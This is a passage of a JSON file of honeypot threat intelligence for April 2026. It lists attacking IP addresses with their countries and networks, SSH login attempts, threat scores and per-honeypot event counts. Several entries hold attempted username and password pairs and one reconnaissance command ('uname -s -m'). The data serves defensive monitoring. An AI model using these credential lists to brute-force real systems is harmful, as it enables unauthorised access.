        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 44050,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T14:00:14+00:00",
        "last_seen_30d": "2026-04-30T15:03:00.036000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 320,
        "Honeytrap": 56,
        "Cowrie": 40,
        "Redishoneypot": 12,
        "Dionaea": 7,
        "ElasticPot": 6,
        "Tanner": 6,
        "Ciscoasa": 5,
        "H0neytr4p": 5,
        "Honeyaml": 4,
        "Mailoney": 2
      }
    },
    "110.80.14.22": {
      "attack_count": 25,
      "first_seen": "2026-04-16T11:13:42.717Z",
      "last_seen": "2026-04-16T11:14:00.111Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:13:42.717000+00:00",
        "last_seen_30d": "2026-04-16T11:15:05.524000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "94.102.49.155": {
      "attack_count": 18,
      "first_seen": "2026-04-01T10:33:33.004Z",
      "last_seen": "2026-04-15T11:21:45.409Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 28,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T10:33:33.004000+00:00",
        "last_seen_30d": "2026-04-28T03:02:16.418000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 178,
        "Honeytrap": 39,
        "Redishoneypot": 24,
        "Cowrie": 18,
        "ElasticPot": 14,
        "Dionaea": 12,
        "Honeyaml": 3
      }
    },
    "118.186.7.9": {
      "attack_count": 15,
      "first_seen": "2026-04-10T01:09:06.429Z",
      "last_seen": "2026-04-10T01:13:56.377Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "wifi"
      ],
      "passwords_attempted": [
        "poiuyt",
        "root2024#",
        "wifi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:09:06.429000+00:00",
        "last_seen_30d": "2026-04-10T01:15:03.176000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "172.236.228.220": {
      "attack_count": 15,
      "first_seen": "2026-04-12T20:44:53.634Z",
      "last_seen": "2026-04-20T18:04:55.666Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 78.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 26,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T00:31:19+00:00",
        "last_seen_30d": "2026-04-30T14:52:49.891000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 38,
        "Cowrie": 15
      }
    },
    "176.65.149.209": {
      "attack_count": 14,
      "first_seen": "2026-04-24T16:27:19.702Z",
      "last_seen": "2026-04-29T17:08:12.408Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T16:27:19.702000+00:00",
        "last_seen_30d": "2026-04-29T17:09:14.618000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 14,
        "Honeytrap": 1
      }
    },
    "176.65.139.69": {
      "attack_count": 12,
      "first_seen": "2026-04-17T19:01:02.333Z",
      "last_seen": "2026-04-26T04:30:21.302Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 10.8,
        "diversity": 12,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 13,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T19:01:02.333000+00:00",
        "last_seen_30d": "2026-04-29T21:07:53.092000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 12
      }
    },
    "177.86.139.52": {
      "attack_count": 12,
      "first_seen": "2026-04-28T21:44:02.128Z",
      "last_seen": "2026-04-28T21:52:05.968Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 271080,
      "as_org": "SPACE NET WORLD TELECOM",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T21:44:02.128000+00:00",
        "last_seen_30d": "2026-04-28T22:00:14.378000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "216.218.206.67": {
      "attack_count": 12,
      "first_seen": "2026-04-08T08:52:52.118Z",
      "last_seen": "2026-04-11T04:01:12.741Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T03:29:44+00:00",
        "last_seen_30d": "2026-04-30T14:31:49.784000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 184,
        "Honeytrap": 102,
        "Cowrie": 12,
        "Honeyaml": 4,
        "Dionaea": 3,
        "ElasticPot": 3,
        "Adbhoney": 2,
        "ConPot": 2
      }
    },
    "152.32.141.172": {
      "attack_count": 10,
      "first_seen": "2026-04-13T06:16:08.090Z",
      "last_seen": "2026-04-13T06:16:12.349Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T06:35:38+00:00",
        "last_seen_30d": "2026-04-30T22:13:12.682000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 20,
        "Cowrie": 10,
        "Dionaea": 7
      }
    },
    "138.124.30.225": {
      "attack_count": 9,
      "first_seen": "2026-04-15T07:55:51.780Z",
      "last_seen": "2026-04-15T07:58:20.549Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " "
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T07:55:51.780000+00:00",
        "last_seen_30d": "2026-04-15T07:59:25.058000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "64.62.197.212": {
      "attack_count": 9,
      "first_seen": "2026-04-24T09:36:54.551Z",
      "last_seen": "2026-04-24T09:36:54.750Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T01:49:31+00:00",
        "last_seen_30d": "2026-04-30T07:00:40.261000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138,
        "Honeytrap": 84,
        "Cowrie": 9,
        "Miniprint": 8,
        "Adbhoney": 6,
        "Dionaea": 5,
        "ElasticPot": 1
      }
    },
    "71.6.199.87": {
      "attack_count": 8,
      "first_seen": "2026-04-08T17:07:14.396Z",
      "last_seen": "2026-04-24T04:51:16.964Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 85.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 29,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T15:24:52+00:00",
        "last_seen_30d": "2026-04-29T23:03:39.466000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Cowrie": 8,
        "Dionaea": 5,
        "ElasticPot": 3,
        "H0neytr4p": 2
      }
    },
    "20.15.163.245": {
      "attack_count": 7,
      "first_seen": "2026-04-05T02:12:05.598Z",
      "last_seen": "2026-04-05T02:12:15.598Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 52.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.8,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 25,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T11:33:41+00:00",
        "last_seen_30d": "2026-04-25T12:07:58.828000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 8,
        "Cowrie": 7
      }
    },
    "124.122.138.92": {
      "attack_count": 6,
      "first_seen": "2026-04-06T18:39:52.565Z",
      "last_seen": "2026-04-06T18:39:59.910Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:39:52.565000+00:00",
        "last_seen_30d": "2026-04-06T18:41:07.032000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "146.190.29.141": {
      "attack_count": 6,
      "first_seen": "2026-04-02T10:22:40.570Z",
      "last_seen": "2026-04-16T10:25:16.347Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.8,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 25,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T10:22:40.570000+00:00",
        "last_seen_30d": "2026-04-26T12:08:02.672000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 6,
        "Honeytrap": 2,
        "Dionaea": 1,
        "Mailoney": 1,
        "Tanner": 1
      }
    },
    "184.105.247.252": {
      "attack_count": 6,
      "first_seen": "2026-04-13T03:58:04.169Z",
      "last_seen": "2026-04-14T05:01:23.627Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T01:37:44+00:00",
        "last_seen_30d": "2026-04-30T04:42:36.981000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 184,
        "Honeytrap": 104,
        "Mailoney": 12,
        "Redishoneypot": 11,
        "Cowrie": 6,
        "Adbhoney": 4,
        "ConPot": 2,
        "Dionaea": 2,
        "Honeyaml": 2
      }
    },
    "27.29.116.137": {
      "attack_count": 6,
      "first_seen": "2026-04-23T00:55:36.691Z",
      "last_seen": "2026-04-23T00:55:48.618Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T00:55:36.691000+00:00",
        "last_seen_30d": "2026-04-23T00:56:50.705000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "45.165.210.196": {
      "attack_count": 6,
      "first_seen": "2026-04-28T20:15:56.959Z",
      "last_seen": "2026-04-28T20:19:58.577Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Arame",
      "asn": 268692,
      "as_org": "G T Lopes & Ltda",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:15:56.959000+00:00",
        "last_seen_30d": "2026-04-28T20:21:41.013000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 6
      }
    },
    "8.222.128.242": {
      "attack_count": 6,
      "first_seen": "2026-04-18T21:38:11.596Z",
      "last_seen": "2026-04-18T21:38:15.339Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T06:01:26+00:00",
        "last_seen_30d": "2026-04-18T21:39:25.201000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "81.92.191.245": {
      "attack_count": 6,
      "first_seen": "2026-04-03T02:48:54.699Z",
      "last_seen": "2026-04-03T02:49:02.076Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Feanw\u00e2lden",
      "asn": 35467,
      "as_org": "DDFR IT Infra & Security B.V.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T02:48:54.699000+00:00",
        "last_seen_30d": "2026-04-03T02:50:09.409000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "103.171.69.71": {
      "attack_count": 5,
      "first_seen": "2026-04-28T23:20:31.264Z",
      "last_seen": "2026-04-28T23:20:33.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "gitlab"
      ],
      "passwords_attempted": [
        "gitlab123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:20:31.264000+00:00",
        "last_seen_30d": "2026-04-28T23:21:38.623000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "13.83.233.101": {
      "attack_count": 5,
      "first_seen": "2026-04-08T19:50:21.798Z",
      "last_seen": "2026-04-08T19:50:27.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T15:41:49.754000+00:00",
        "last_seen_30d": "2026-04-08T19:51:35.507000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "130.131.161.238": {
      "attack_count": 5,
      "first_seen": "2026-04-22T08:30:39.406Z",
      "last_seen": "2026-04-22T08:30:49.769Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T04:20:00.261000+00:00",
        "last_seen_30d": "2026-04-27T20:47:19.640000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 8,
        "Cowrie": 5,
        "Honeyaml": 1
      }
    },
    "65.49.1.80": {
      "attack_count": 5,
      "first_seen": "2026-04-19T02:14:51.569Z",
      "last_seen": "2026-04-19T02:14:51.719Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 30,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T03:54:50+00:00",
        "last_seen_30d": "2026-04-30T11:53:40.052000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 194,
        "Honeytrap": 100,
        "ConPot": 8,
        "Cowrie": 5,
        "Tanner": 5,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "100.27.226.38": {
      "attack_count": 4,
      "first_seen": "2026-04-24T01:00:26.380Z",
      "last_seen": "2026-04-24T01:00:31.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 15.0,
        "diversity": 4,
